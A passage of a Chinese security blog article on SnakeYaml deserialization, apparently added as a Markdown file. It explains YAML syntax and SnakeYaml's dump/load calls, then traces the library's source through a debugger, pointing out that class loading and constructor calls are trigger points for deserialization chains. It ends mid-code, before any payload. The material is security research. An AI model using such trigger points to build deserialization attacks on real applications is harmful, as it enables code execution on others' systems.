反序列化.md @@ -0,0 +1,1546 @@ +# 漏洞篇 - SnakeYaml 反序列化 +> 2025-05-17 +> 来源:https://changeyourway.github.io/2025/05/17/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-SnakeYaml%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/ + +## SnakeYaml 反序列化 + +又来炒冷饭了伙计们。 + +## 一、SnakeYaml 简介 + +SnakeYaml 是 Java 中解析 yaml 的库,而 yaml 是一种人类可读的数据序列化语言,通常用于编写配置文件等。 + +YAML 的语法和其他高级语言类似,并且可以简单表达清单、散列表,标量等数据形态。它使用空白符号缩进和大量依赖外观的特色,特别适合用来表达或编辑数据结构、各种配置文件、倾印调试内容、文件大纲(例如:许多电子邮件标题格式和 YAML 非常接近)。 + +### 0x1:yaml 基本语法 + +- 大小写敏感 + +- 使用缩进表示层级关系 + +- 缩进只允许使用空格 + +- `#` 表示注释 + +- 支持对象、数组、纯量这 3 种数据结构 + + - 对象:键值对的集合,又称为映射(mapping)/ 哈希(hashes) / 字典(dictionary) + - 数组:一组按次序排列的值,又称为序列(sequence) / 列表(list) + - 纯量(scalars):单个的、不可再分的值 + +YAML 的配置文件后缀为 .yml,如:runoob.yml 。 + +#### 1、yaml 对象 + +对象键值对使用冒号结构表示 key: value,冒号后面要加一个空格。 + +也可以使用 key:{key1: value1, key2: value2, …}。 + +还可以使用缩进表示层级关系; + +``` +key: + child-key: value + child-key2: value2 +``` + +#### 2、yaml 数组 + +以 - 开头的行表示构成一个数组: + +``` +- A +- B +- C +``` + +一个相对复杂的例子: + +``` +companies: + - + id: 1 + name: company1 + price: 200W + - + id: 2 + name: company2 + price: 500W +``` + +意思是 companies 属性是一个数组,每一个数组元素又是由 id、name、price 三个属性构成。 + +数组也可以使用流式(flow)的方式表示: + +``` +companies: [{id: 1,name: company1,price: 200W},{id: 2,name: company2,price: 500W}] +``` + +#### 3、复合结构 + +数组和对象可以构成复合结构,例: + +``` +languages: + - Ruby + - Perl + - Python +websites: + YAML: yaml.org + Ruby: ruby-lang.org + Python: python.org + Perl: use.perl.org +``` + +#### 4、纯量 + +纯量是最基本的,不可再分的值,包括: + +- 字符串 +- 布尔值 +- 整数 +- 浮点数 +- Null +- 时间 +- 日期 + +使用一个例子来快速了解纯量的基本使用: + +``` +boolean: + - TRUE #true,True都可以 + - FALSE #false,False都可以 +float: + - 3.14 + - 6.8523015e+5 #可以使用科学计数法 +int: + - 123 + - 0b1010_0111_0100_1010_1110 #二进制表示 +null: + nodeName: 'node' + parent: ~ #使用~表示null +string: + - 哈哈 + - 'Hello world' #可以使用双引号或者单引号包裹特殊字符 + - newline + newline2 #字符串可以拆成多行,每一行会被转化成一个空格 +date: + - 2018-02-17 #日期必须使用ISO 8601格式,即yyyy-MM-dd +datetime: + - 2018-02-17T15:02:31+08:00 #时间使用ISO 8601格式,时间和日期之间使用T连接,最后使用+代表时区 +``` + +#### 5、引用 + +& 锚点和 \* 别名,可以用来引用: + +``` +defaults: &defaults + adapter: postgres + host: localhost + +development: + database: myapp_development + <<: *defaults + +test: + database: myapp_test + <<: *defaults +``` + +上面.yaml 文件相当于: + +``` +defaults: + adapter: postgres + host: localhost + +development: + database: myapp_development + adapter: postgres + host: localhost + +test: + database: myapp_test + adapter: postgres + host: localhost +``` + +& 用来建立锚点(defaults),<< 表示合并到当前数据,\* 用来引用锚点。 + +参考链接: + +``` +https://www.runoob.com/w3cnote/yaml-intro.html +``` + +### 0x2 序列化和反序列化函数 + +snakeyaml 中有以下序列化和反序列化函数: + +``` +String dump(Object data) +将Java对象序列化为YAML字符串。 +void dump(Object data, Writer output) +将Java对象序列化为YAML流。 +String dumpAll(Iterator data) +将一系列Java对象序列化为YAML字符串。 +void dumpAll(Iterator data, Writer output) +将一系列Java对象序列化为YAML流。 +String dumpAs(Object data, Tag rootTag, DumperOptions.FlowStyle flowStyle) +将Java对象序列化为YAML字符串。 +String dumpAsMap(Object data) +将Java对象序列化为YAML字符串。 + + T load(InputStream io) +解析流中唯一的YAML文档,并生成相应的Java对象。 + T load(Reader io) +解析流中唯一的YAML文档,并生成相应的Java对象。 + T load(String yaml) +解析字符串中唯一的YAML文档,并生成相应的Java对象。 +Iterable loadAll(InputStream yaml) +解析流中的所有YAML文档,并生成相应的Java对象。 +Iterable loadAll(Reader yaml) +解析字符串中的所有YAML文档,并生成相应的Java对象。 +Iterable loadAll(String yaml) +解析字符串中的所有YAML文档,并生成相应的Java对象。 +``` + +其中比较常用的就是 Yaml.dump() 和 Yaml.load() 。 + +‍ + +## 二、**SnakeYaml 快速入门** + +SnakeYaml 提供了 yaml 数据和 Java 对象相互转换的 API,即能够对数据进行序列化与反序列化。 + +- Yaml.load():将 yaml 数据反序列化成一个 Java 对象。 +- Yaml.dump():将 Java 对象序列化成 yaml 。 + +依赖导入: + +``` + + org.yaml + snakeyaml + 1.27 + +``` + +用于序列化的 Person 类: + +``` +public class Person { + private String username; + private int age; + + public Person() { + System.out.println("无参构造方法被执行"); + } + + public Person(String username, int age) { + this.username = username; + this.age = age; + System.out.println("有参构造方法被执行"); + } + + public int getAge() { + System.out.println("getAge方法调用"); + return age; + } + + public String getUsername() { + System.out.println("getUsername方法调用"); + return username; + } + + public void setAge(int age) { + System.out.println("setAge方法调用"); + this.age = age; + } + + public void setUsername(String username) { + System.out.println("setUsername方法调用"); + this.username = username; + } +} +``` + +测试序列化与反序列化,SnakeYamlTest.java: + +``` +import org.yaml.snakeyaml.Yaml; + +public class SnakeYamlTest { + public static void main(String[] args) { + Yaml yaml = new Yaml(); + Person person = new Person("mike", 18); + System.out.println("序列化"); + String str = yaml.dump(person); + System.out.println(str); + System.out.println("反序列化"); + Person person2 = yaml.load(str); + System.out.println(person2); + } +} +``` + +![](https://changeyourway.github.io/images/image-20250422225618-o5mnsu3.png) + +参考链接: + +``` +https://chenergy1991.github.io/2019/04/27/yaml.load%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/ +``` + +## 三、原理分析 + +### 0x1 序列化分析 + +关注 yaml.dump 方法,在这里下断点开始调试: + +![](https://changeyourway.github.io/images/image-20250424160304-qprjtu9.png) + +跟进 Yaml#dump(Object) ,这里将 data 封装进 ArrayList 列表中,再调用 dumpAll 方法进行处理,提高 dumpAll 方法的复用性: + +![](https://changeyourway.github.io/images/image-20250424160949-baouee6.png) + +继续跟进 Yaml#dumpAll(Iterator),这里调用重构方法: + +![](https://changeyourway.github.io/images/image-20250424161427-1srh3y1.png) + +跟进 Yaml#dumpAll(Iterator, Writer, Tag) ,这里先获取了一个序列化器 serializer ,先调用了 serializer.open() 、然后对于迭代器中的每一个数据 data ,都调用 representer.represent 来获取 node ,并且调用 serializer.serialize 进行序列化,最后调用 serializer.close() 收尾 : + +![](https://changeyourway.github.io/images/image-20250424161821-4ha3jog.png) + +那么首先来看 Serializer 的构造,给属性赋值,没什么好说的: + +![](https://changeyourway.github.io/images/image-20250424162335-j8e3ibj.png) + +接下来看 serializer.open() ,这里用 this.closed 来控制生命周期,开始时将其设置为 false : + +![](https://changeyourway.github.io/images/image-20250424162551-frlmau3.png) + +结束时调用 serializer.close() 将其设置为 true ,表示关闭: + +![](https://changeyourway.github.io/images/image-20250424162708-tmx1ws0.png) + +接下来看关键方法,BaseRepresenter#represent(Object) 这个方法用于将 Java 对象转换为 Yaml node 节点,其核心是调用了内部的 representData 方法: + +![](https://changeyourway.github.io/images/image-20250424162853-9afu12g.png) + +跟进 BaseRepresenter#representData(Object) ,简单解释一下,它用来获取一个对象的表示数据 + +1、首先会去 representedObjects 属性中查找 data 是否已存在(是否已经获取过 node 节点),有的话直接获取返回。这也是一种缓存机制,防止重复获取; + +2、对空数据单独处理; + +3、然后调用 data.getClass() 来获取对应的类型,data 此时是 Person 对象,获取到的自然是 Person 的 class 对象。 + +4、获取完以后去 representers 属性中找是否已存在该键,如果存在,直接去 representers 属性中获取对应的 Represent 对象,还是缓存。如果不存在,则去 multiRepresenters 属性中获取父类处理器的 Represent 对象。最后调用 Represent 对象的 representData 方法获取 node 节点 。 + +5、最后还有针对其他情况的默认处理逻辑,即既不为空,也没有当前类和父类对应的 Represent 对象 ,就是从 multiRepresenters 中获取 null 键对应的 Represent 对象,或者去 representers 中获取 null 键对应的 Represent 对象(我们的调试最终是跟到了这里),最后也是调用 Represent 对象的 representData 方法获取 node 节点: + +![](https://changeyourway.github.io/images/image-20250424163609-tv4j5j4.png) + +那么我们跟进 Representer$RepresentJavaBean#representData(Object),这里首先调 getProperties 获取了一些什么配置,再将它和 data 一起作为参数传入 representJavaBean 方法中: + +![](https://changeyourway.github.io/images/image-20250424170706-aluk348.png) + +跟进 Representer#getProperties(Class) ,还是一样先去 typeDefinitions 里找现成的 PropertyUtils ,找不到就调用 getPropertyUtils() 获取一个。最后调用 PropertyUtils.getProperties : + +![](https://changeyourway.github.io/images/image-20250424170843-ldpq9sg.png) + +继续跟进 PropertyUtils#getProperties(Class), 调用两参重构方法: + +![](https://changeyourway.github.io/images/image-20250424171407-7legtwr.png) + +继续跟进 PropertyUtils#getProperties(Class, BeanAccess),这里就干了两件事,一个 Set 集合 properties ,一个 Map 集合 readableProperties 。readableProperties 是缓存,我们只关注 createPropertySet 方法: + +![](https://changeyourway.github.io/images/image-20250424171536-hfmmwwp.png) + +跟进 PropertyUtils#createPropertySet(Class, BeanAccess) ,new 一个 TreeSet ,然后将可读可写、或者只读的配置添加到其中,而这些配置则是通过调用 getPropertiesMap 获取的: + +![](https://changeyourway.github.io/images/image-20250424172114-k8xgf3t.png) + +那么关键之处就在于这个 PropertyUtils#getPropertiesMap(Class, BeanAccess) ,跟进它 : + +![](https://changeyourway.github.io/images/image-20250424172445-pop7j3k.png) + +1、首先,方法接收两个参数:Class 类型和 BeanAccess 枚举。方法内部首先检查 propertiesCache 缓存中是否已经存在该类型的属性映射。如果存在,直接返回缓存的值,这样可以提高性能,避免重复计算。 + +2、如果缓存中没有,就创建一个新的 LinkedHashMap 来存储属性。接着根据 BeanAccess 的不同分支处理: + +(1)当 BeanAccess 是 FIELD 模式时,通过反射获取类的所有字段(排除 static 和 transient 字段),并加入到 properties 中,并且 properties 当中字段对应的值是 FieldProperty 。 + +(2)当 BeanAccess 是默认模式(非 FIELD)时,第一步通过 Introspector.getBeanInfo(type).getPropertyDescriptors() 获取类的描述信息(包含类的所有方法、字段等信息)。这里关于 Introspector.getBeanInfo(type).getPropertyDescriptors() 我还得再解释一下,它只会返回有 getter 或 setter 的字段,如果一个字段既没有 getter 也没有 setter ,是不会被返回的。比如我们在 Person 类中添加以下字段: + +![](https://changeyourway.github.io/images/image-20250502142918-9h8s8pj.png) + +调试到这里来计算一下 Introspector.getBeanInfo(type).getPropertyDescriptors() 的结果,可以看到返回结果中不包含既没有 getter 也没有 setter 的属性:![](https://changeyourway.github.io/images/image-20250502143006-zoz5ro7.png) + +接着往下,property.getReadMethod() 实际获取 getter 方法,随后排除掉 getClass(这是超类的方法)和 transient 字段,剩余 getter 方法对应的字段将被添加进 properties 中,另外没有 getter 方法的字段也会被添加进 properties 中,这里添加的字段对应的值是 MethodProperty 。故而这第一步就是获取了**非 transient 字段(注意前置条件是有 getter 或 setter ,不过一般情况下来说要有就是两者都有,因为 JavaBean 规范要求非公有属性需要有 getter 和 setter 方法,但这一规范不一定要遵守):** + +![](https://changeyourway.github.io/images/image-20250504134119-j0au1ie.png) + +default 模式下的第二步则是通过反射获取并补充添加**所有非 static 非 transient 的 public 字段**,且字段对应的值为 FieldProperty,这里肯定会存在重合的情况,比如说一个属性既是 public 修饰又有自己的 getter 方法,由于 properties 是一个 HashMap ,被 put 两次的话键相同值是会覆盖的,后来的 FieldProperty 会覆盖掉前面的 MethodProperty: + +![](https://changeyourway.github.io/images/image-20250504134149-mg7piss.png) + +经过这一步之后,我们前面测试用的 test\_no\_getterAndSetter 字段也会被添加进 properties 中: + +![](https://changeyourway.github.io/images/image-20250502143600-crbibr2.png) + +这里的 MethodProperty 与 FieldProperty 分别有什么意义呢?**使用 MethodProperty 的字段在获取值时会调用其 getter 方法,而使用 FieldProperty 的字段会通过反射获取值**,具体的逻辑在后面。 + +所以我们可以简单的总结一下:**public 属性通过反射获取值,非 public 但有 getter 方法的属性通过 getter 获取值**。 + +处理完所有属性后,如果 properties 还是空的且存在不可访问的字段,抛出异常。最后将生成的属性映射存入缓存,并返回。 + +显然,这里就是获取序列化属性的核心点,决定了哪些属性可以被序列化。 + +关于 BeanAccess 什么时候会是 FIELD 模式,我们可以在 PropertyUtils 中找到两个地方对 beanAccess 属性进行了操作: + +![](https://changeyourway.github.io/images/image-20250425111706-liqa3ol.png) ![](https://changeyourway.github.io/images/image-20250425111752-n616wvd.png) + +可以看到,如果系统在 Android 环境上运行,那么只允许使用 FIELD 模式(注释中解释了原因,Android 环境下缺乏 java.beans 包,所以 SnakeYAML 在 Android 上只能通过直接访问字段来处理属性,而不是使用标准的 JavaBean 机制。) + +其他环境也可以通过 PropertyUtils#setBeanAccess 手动设置为 FIELD 模式。那么可以知道大多数情况都会走默认模式。 + +好嘛,回到 PropertyUtils#createPropertySet(Class, BeanAccess) 方法,后续还会对属性做一个可读可写的判断: + +![](https://changeyourway.github.io/images/image-20250425122541-x1ei678.png) + +什么意思呢,就是说可读可写,或者只读的属性才能通过。看似是这样,实际测试下来发现我五个属性都能过: + +![](https://changeyourway.github.io/images/image-20250502144356-eyux82j.png) + +说明这跟 getter、setter 方法没关系,是他自己的方法恒定返回 true : + +![](https://changeyourway.github.io/images/image-20250502144757-4eb35lx.png) + +所以这个判断就跟没有一样。 + +后面没什么看的了,回到 Representer$RepresentJavaBean#representData(Object) ,我们前面是跟到了 getProperties 分支,现在来看 representJavaBean: + +![](https://changeyourway.github.io/images/image-20250502145459-0bsxp7l.png) + +跟进 Representer#representJavaBean(Set, Object),这里面就是将 properties 转换为 MappingNode 节点树的过程: + +![](https://changeyourway.github.io/images/image-20250504132907-0gac1c0.png) + +MappingNode 节点主要由 tag 和 value 组成,tag 就是序列化的类名,value 中则存放着解析自 properties 的一个个元组 tuple 。 + +同时我们注意到这边调用 property.get 去获取了属性值 memberValue ,这里就是我们获取属性值的地方了,对应到前面的 MethodProperty ,它的 get 方法是通过调用 getter 方法来获取属性值: + +![](https://changeyourway.github.io/images/image-20250504135259-aktkyxg.png) + +如果是 FieldProperty ,则是通过反射获取属性值: + +![](https://changeyourway.github.io/images/image-20250504140534-9ejiepz.png) + +随后通过调用 representJavaBeanProperty 方法获取了元组 tuple ,将成员属性(property)和对应的值(memberValue)传入。 + +representJavaBeanProperty 内部对属性名和属性值分别做处理,都是调的 representData : + +![](https://changeyourway.github.io/images/image-20250503165647-nytn8jg.png) + +这个 BaseRepresenter#representData(Object) 我们前面已经分析过了,它用来获取一个对象的表示数据,这里键和值都是基本类型,不会走先前那个最后的默认逻辑。如果属性中有复杂对象类型,那可能会递归式的再经过一遍前面的处理。 + +那么这部分看的差不多了,一路返回返回,回到 Yaml#dumpAll(Iterator, Writer, Tag),第一部分将对象转换为 node 节点树,我们已经跟完了。下面来看第二部分,将节点树转换为序列化数据: + +![](https://changeyourway.github.io/images/image-20250503171351-45brz61.png) + +跟进 Serializer#serialize(Node) : + +![](https://changeyourway.github.io/images/image-20250503171718-hl34xyn.png) + +其中,首尾的两行 DocumentStartEvent 和 DocumentEndEvent 标志着 YAML 文档的开始和结束。this.emitter.emit 负责将开始或结束事件发送出去。其中主要是调用了 anchorNode 和 serializeNode 来解析 node 节点树。 + +先来看 Serializer#anchorNode(Node) ,主要是将节点 node 和对应的锚点 anchor 添加进 this.anchors 属性中,对于子节点,也是递归式的调用自身,并且分了 SequenceNode 和 MappingNode 两种情况,分别处理序列类型(List/Array)和映射类型(Map/Bean): + +![](https://changeyourway.github.io/images/image-20250503184301-g4ouxxx.png) + +那么接下来我们来看 Serializer#serializeNode(Node, Node) ,这里给了三种处理模式: + +标量(Scalar) → 处理基本类型值 + +序列(Sequence) → 处理 List/Array 结构 + +(默认)映射(Mapping) → 处理 Map/JavaBean 结构 + +最开始会进入默认模式: + +![](https://changeyourway.github.io/images/image-20250504144829-yohcil0.png) + +这边是调用自身对属性名称和属性值分别处理,递归式的。最后将结果发送给 this.emitter ,那么我们也来递归式的分析一下。 + +这边再次进入到 Serializer#serializeNode(Node, Node) ,处理的是 age 属性,由于是 int 基本类型,会直接进入到 Scalar 的处理逻辑中: + +![](https://changeyourway.github.io/images/image-20250503203119-3y2gr9d.png) + +这里首先会调用 this.resolver.resolve 去处理两次,分别是第三个参数为 true 和 false 的情况。 + +Resolver#resolve(NodeId, String, boolean) 实际也没什么好看的,就走到最后返回 Tag.STR : + +![](https://changeyourway.github.io/images/image-20250503212612-a7sgnl1.png) ![](https://changeyourway.github.io/images/image-20250503212512-1fbsm0r.png) + +resolve 处理完以后,后面封装了一个元组 tuple ,又用这个元组创建了一个 event ,最后把这个 event 发送给了 this.emitter ,这部分就不分析了。 + +由 node 节点树转换为序列化数据的过程就是做了各种封装,结果通过调用 this.emitter.emit 直接输出到数据流,而不是存储在内存中。 + +#### 调用链总结 + +``` +Yaml#dump(Object) +Yaml#dumpAll(Iterator) +Yaml#dumpAll(Iterator, Writer, Tag) + -> BaseRepresenter#represent(Object) # 分支一:将 JavaBean 转换为 node 节点树 + BaseRepresenter#representData(Object) + Representer$RepresentJavaBean#representData(Object) + -> Representer#getProperties(Class) + PropertyUtils#getProperties(Class) + PropertyUtils#getProperties(Class, BeanAccess) + PropertyUtils#createPropertySet(Class, BeanAccess) + PropertyUtils#getPropertiesMap(Class, BeanAccess) + # public 属性设置为 FieldProperty ,非 public 但有 getter 方法的属性设置为 MethodProperty + -> Representer#representJavaBean(Set properties, Object javaBean) + -> Property#get(Object) + # 对于 FieldProperty 反射获取值,对于 MethodProperty 调用 getter 获取值 + -> Representer#representJavaBeanProperty(Object, Property, Object, Tag) + # 递归式地调用 BaseRepresenter#representData(Object) 来处理子节点(类属性) + -> Serializer#serialize(Node) # 分支二:将 node 节点树转换为序列化数据 + -> Serializer#anchorNode(Node) # 递归式获取节点 node 对应的锚点 anchor + -> Serializer#serializeNode(Node, Node) # 递归式将节点 node 封装(序列化) +``` + +‍ + +### 0x2 反序列化分析 + +当执行 yaml.load() 时,实际会经过以下关键阶段: + +``` +YAML文本 → Parser (生成事件流) → Composer (构建节点树) → Constructor (转换为Java对象) +``` + +那么还是以上面的 demo 为例,我们来跟进一下代码: + +首先下断点: + +![](https://changeyourway.github.io/images/image-20250419202147-a2edofn.png) + +跟进 yaml.load ,这里调用 Yaml#loadFromReader ,并将传入的 yaml 数据封装为 StreamReader 作为参数传入,第二个参数为 Object.class: + +![](https://changeyourway.github.io/images/image-20250419202236-ash0975.png) + +继续跟进,Yaml#loadFromReader 首先将传入的 StreamReader 对象进一步封装为 ParserImpl 对象,再继续封装成 Composer 对象,并将其封装进 constructor : + +![](https://changeyourway.github.io/images/image-20250419202519-i4xws4r.png) + +这个 constructor 是一个 BaseConstructor 对象,并在构造方法中赋值: + +![](https://changeyourway.github.io/images/image-20250419203035-j0wjaek.png) + +当我们调用无参构造方法时是会调用这个构造方法的,使用的都是默认配置: + +![](https://changeyourway.github.io/images/image-20250419203254-4dxnopx.png) + +回到 Yaml#loadFromReader ,接下来调用 constructor.getSingleData : + +![](https://changeyourway.github.io/images/image-20250419203658-5xe7wc1.png) + +跟进 BaseConstructor#getSingleData(Class) : + +![](https://changeyourway.github.io/images/image-20250419203943-cv23ee1.png) + +第一步从刚刚封装的 composer 里面获取一个 SingleNode ,内部其实是调用 getNode() 来获取。 + +跟进 Composer#getSingleNode() ,这里两次调用 parser.getEvent() ,分别用于消费 STREAM\_START 事件(流开始标记)和 STREAM\_END 事件(流结束标记),这是由于 YAML 规范要求流必须以 STREAM\_START 开始,消费后才能开始解析文档,并在最后清理解析器状态,确保后续操作不会残留未处理事件 : + +![](https://changeyourway.github.io/images/image-20250419204159-ut2xpyf.png) + +我们来看 Composer#getNode() ,这个方法的核心是通过调用 composeNode 方法来构建节点树,父节点为 null ,表示从根节点开始构造: + +![](https://changeyourway.github.io/images/image-20250419205818-e1buhws.png) + +跟进 Composer#composeNode(Node) : + +![](https://changeyourway.github.io/images/image-20250419210421-metwhbh.png) + +这段代码是 SnakeYAML 库中负责构建节点树的核心方法。方法接收一个父节点 parent ,然后根据解析器的事件类型来处理不同的节点情况。我们主要关注 else 部分的处理逻辑,还是熟悉的三个处理方法,即分别对应 Scalar(标量),Sequence(序列)和默认的 Mapping(映射)处理逻辑的三个方法:composeScalarNode、composeSequenceNode 和 composeMappingNode ,第一次解析也是毫不意外地走到了 composeMappingNode ,盲猜之后是对字段的递归解析。 + +跟进 Composer#composeMappingNode(String) ,这边也确实调用了 composeMappingChildren 去处理子节点: + +![](https://changeyourway.github.io/images/image-20250504171527-b64lc85.png) + +继续跟进 Composer#composeMappingChildren(List, MappingNode),这边分别调用 composeKeyNode 和 composeValueNode 获取了属性名和属性值: + +![](https://changeyourway.github.io/images/image-20250504171738-1jxeap3.png) + +composeKeyNode 和 composeValueNode 这两个方法都是调用当前类的 composeNode : + +![](https://changeyourway.github.io/images/image-20250504171840-sn7k4pm.png) + +喜欢套娃?继续跟进 Composer#composeNode(Node parent) ,发现我们又回来了,但是熟悉的配方,不同的做法,这一次我们是调用到了 composeScalarNode 去解析 Person 类的属性,具体是哪个属性呢?我也不知道,还得跟进去看看: + +![](https://changeyourway.github.io/images/image-20250504172150-rd4vywo.png) + +跟进 Composer#composeScalarNode(String): + +![](https://changeyourway.github.io/images/image-20250504172610-0ooq51r.png) + +发现其实在第一步 parser.getEvent() 就获取到了我们的成员属性 age : + +![](https://changeyourway.github.io/images/image-20250504173241-bmy0b1b.png) + +这边将 age 的信息封装成了一个节点并返回。 + +对属性值的处理 composeValueNode 同样最后也是走到这里,只不过这里调用 parser.getEvent() 获取到的是属性值: + +![](https://changeyourway.github.io/images/image-20250504174103-whlk7th.png) + +看来这个 parser.getEvent() 之中很有玄妙,跟进 ParserImpl#getEvent() ,这里调用了一次 peekEvent ,然后返回了 currentEvent 属性值: + +![](https://changeyourway.github.io/images/image-20250504174245-hbqsvcm.png) + +跟进 ParserImpl#peekEvent() ,这里是调用 state.produce() 来获取了 currentEvent 属性值: + +![](https://changeyourway.github.io/images/image-20250504174439-0mwiqld.png) + +这个 state 属性是 Production 类型,在 ParserImpl 类中有许多内部类实现了这个接口: + +![](https://changeyourway.github.io/images/image-20250504174552-1wwl1d6.png) + +譬如这一次处理 age 的值 18 , + +好的,回到 BaseConstructor#getSingleData(Class) 方法,随后经过一些对节点树中 tag 的操作,会调用 constructDocument 方法: + +![](https://changeyourway.github.io/images/image-20250419211943-8jyj3lh.png) + +跟进 BaseConstructor#constructDocument(Node) ,从这个方法开始,开始将节点树转换为 Java 对象。这里通过 constructObject() 方法递归地将节点树转换为 Java 对象: + +![](https://changeyourway.github.io/images/image-20250419212454-v23ebd3.png) + +继续跟进 BaseConstructor#constructObject(Node node) 方法,这里检查当前 constructedObjects 属性中是否已经存在该节点树,如果存在则直接获取,不存在则调用 constructObjectNoCheck 方法进行处理。constructedObjects 属性是一个 Map 集合: + +![](https://changeyourway.github.io/images/image-20250419212604-pocgg49.png) + +第一次来肯定是不存在的,继续跟进 BaseConstructor#constructObjectNoCheck 方法: + +![](https://changeyourway.github.io/images/image-20250419213357-u6uqsxh.png) + +这里首先检查当前节点是否已经在递归集合 recursiveObjects 中,如果是则抛出异常,防止无限递归。接着将节点加入递归集合 recursiveObjects ,确保后续处理能检测到循环。 + +然后通过 getConstructor 方法获取对应的构造器,如果节点已经构建过(即存在于 constructedObjects 中),则直接取其中的数据,否则调用构造器的 construct 方法创建对象,这里相当于又检查了一遍。创建完成后,调用 finalizeConstruction 方法进行最终化处理,并将对象存入 constructedObjects 中。 + +最后,调用 node.isTwoStepsConstruction() 判断节点是否需要两步构建,若是则调用构造器的 construct2ndStep 方法完成后续处理。 + +那么接下来我们先跟进 BaseConstructor#getConstructor(Node) 方法: + +![](https://changeyourway.github.io/images/image-20250419214818-5gfje1c.png) + +这里先调用 useClassConstructor 方法判断是否启用类构造器,如果是,则从 yamlClassConstructors 中根据 NodeId 获取构造器。我们可以来关注一下 useClassConstructor 方法: + +``` +public boolean useClassConstructor() { + // 情况 1:显式配置了 useClassConstructor 值 + if (useClassConstructor != null) { + return useClassConstructor; // 直接返回预设值 + } + + // 情况 2:自动判断构造方式 + if (!tag.isSecondary() // 是主要标签(非本地标签) + && resolved // 类型已解析 + && !Object.class.equals(type) // 非通用对象类型 + && !tag.equals(Tag.NULL)) { // 非空值 + return true; // 使用类构造器(如自定义的 Person 类) + } + else if (tag.isCompatible(getType())) { + // 标签与类型兼容(如 Tag.STR 对应 String.class) + return true; // 优先使用类构造器 + } + else { + return false; // 使用标签驱动的构造器 + } +} +``` + +默认情况下返回 false ,返回 false 的话接下来就去 yamlConstructors 中根据 Tag 来获取构造器。这里第一次获取到的其实也是 null : + +![](https://changeyourway.github.io/images/image-20250419220332-zz12lr6.png) + +接下来会根据前缀来从 yamlMultiConstructors 中获取多态构造器。当 YAML 标签使用 Java 类全路径时(如 !com.example.Shape),可以通过注册前缀 “!com.example.” 来统一处理该包下的所有子类。 + +最后,如果以上方法都未获取到,会调用 yamlConstructors.get 来获取。参数为 null 。 + +yamlConstructors 是一个 HashMap 对象,也就是说,最后会从 yamlConstructors 取一个键为 null 的值,我们可以看看这个值: + +![](https://changeyourway.github.io/images/image-20250420141744-swssji2.png) + +所以我们最终获取到的构造器就是这个 org.yaml.snakeyaml.constructor.Constructor 中的内部类 ConstructYamlObject 。那么这部分逻辑就分析完了,回到 BaseConstructor#constructObjectNoCheck : + +![](https://changeyourway.github.io/images/image-20250420143151-p9hrlv5.png) + +接下来判断 constructedObjects 中是否已存在 node 对应的数据,如果有就直接拿,没有就用刚刚获取的构造器构造一个。这里因为第一次来 ,constructedObjects 中是没有该值的,故而直接调用构造器的 construct 方法。 + +跟进 Constructor$ConstructYamlObject#construct(Node) ,这里会先调用本类的 getConstructor 方法获取构造器,然后调用 construct 方法来构造: + +![](https://changeyourway.github.io/images/image-20250420144737-lm30pvw.png) + +继续跟进 Constructor$ConstructYamlObject#getConstructor(Node) ,这里会先调用 getClassForNode 方法根据节点树获取对应的 class 对象: + +![](https://changeyourway.github.io/images/image-20250420144847-vms5fv8.png) + +跟进 Constructor#getClassForNode(Node) ,这个方法根据节点树获取对应的目标类,是一个关键方法。该方法首先会在 typeTags 中查找是否已经有 Tag -> Class 的映射,然后获取。如果没有的话调用 getClassForName 根据类名来获取 Class 对象,最后将 Tag -> Class 的映射加入进 typeTags 中 : + +![](https://changeyourway.github.io/images/image-20250420145845-ei2je9j.png) + +跟进 Constructor#getClassForName(String),这里面直接进行类加载: + +![](https://changeyourway.github.io/images/image-20250420170204-1ahgl98.png) + +这里 Class.forName 的第二个参数为 true,表示初始化类,会经过类加载的全部五个阶段,会执行 person 类的静态代码块。 + +好的,回到 Constructor$ConstructYamlObject#getConstructor(Node) ,此时我们已经获取到这个 Class 对象(Person 类),将这个对象设置进 node 节点树的 type 属性中,然后从 yamlClassConstructors 中根据 NodeId 来获取构造器,最后这里获取到的是一个 Constructor$ConstructMapping 对象 : + +![](https://changeyourway.github.io/images/image-20250420173444-svoekjs.png) + +好的,回到 Constructor$ConstructYamlObject#construct(Node) ,获取到构造器以后会调用它的 construct 方法: + +![](https://changeyourway.github.io/images/image-20250420173759-2jqm3er.png) + +跟进 Constructor$ConstructMapping#construct(Node) ,这里会首先判断 node.getType() 是否是 Map 或 Collection 类型,若是则单独调用 constructMapping 或 constructSet 方法进行构造。由于我们的 node.getType() 是自定义的 Person 类型,所以会走到最后调用 Constructor.this.newInstance : + +![](https://changeyourway.github.io/images/image-20250420174240-916rvf4.png) + +该方法中每次都使用 isTwoStepsConstruction() 进行判断,根据注解,它用来指示此节点是否需要分两步构造。当节点是自身(直接或间接)的子节点时,必须使用两步构造。即当使用锚点和别名构建递归结构时。该标记由 Composer 组件设置,仅在反序列化加载过程中使用。 + +接下来跟进 BaseConstructor#newInstance(Node) ,这里直接调用两参重构方法: + +![](https://changeyourway.github.io/images/image-20250420191618-fuz3fs9.png) + +跟进 BaseConstructor#newInstance(Class, Node),这里调用三参重构方法: + +![](https://changeyourway.github.io/images/image-20250420191714-jh4mhag.png) + +继续跟进 BaseConstructor#newInstance(Class, Node, boolean) ,最终在这里进行构造方法的调用。type.getDeclaredConstructor() 获取目标类的构造方法,这里目标类就是我们的 Person 类,随后实例化对象,这里就会执行类的无参构造方法,是反序列化链的触发点之一: + +![](https://changeyourway.github.io/images/image-20250420192340-n5f5l95.png) + +这里只是调用了无参构造方法,类的各属性是如何赋值的呢?回到 Constructor$ConstructMapping#construct(Node) ,接下来会调用 constructJavaBean2ndStep 方法 + +我们跟进 Constructor$ConstructMapping#constructJavaBean2ndStep(MappingNode, Object) ,属性赋值就在这里: + +``` +/** + * 构造JavaBean的第二步处理(属性赋值阶段) + * + * @param node 映射节点,包含键值对信息 + * @param object 第一步创建的JavaBean空实例 + * @return 完成属性赋值的JavaBean + */ +protected Object constructJavaBean2ndStep(MappingNode node, Object object) { + // 扁平化处理嵌套的映射结构 + flattenMapping(node); + // 获取目标JavaBean的类型信息和节点值列表 + Class beanType = node.getType(); + List nodeValue = node.getValue(); + + // 遍历所有键值对节点 + for (NodeTuple tuple : nodeValue) { + // 键节点必须是标量节点(ScalarNode) + ScalarNode keyNode; + if (tuple.getKeyNode() instanceof ScalarNode) { + keyNode = (ScalarNode) tuple.getKeyNode(); + } else { + throw new YAMLException("Keys must be scalars but found: " + 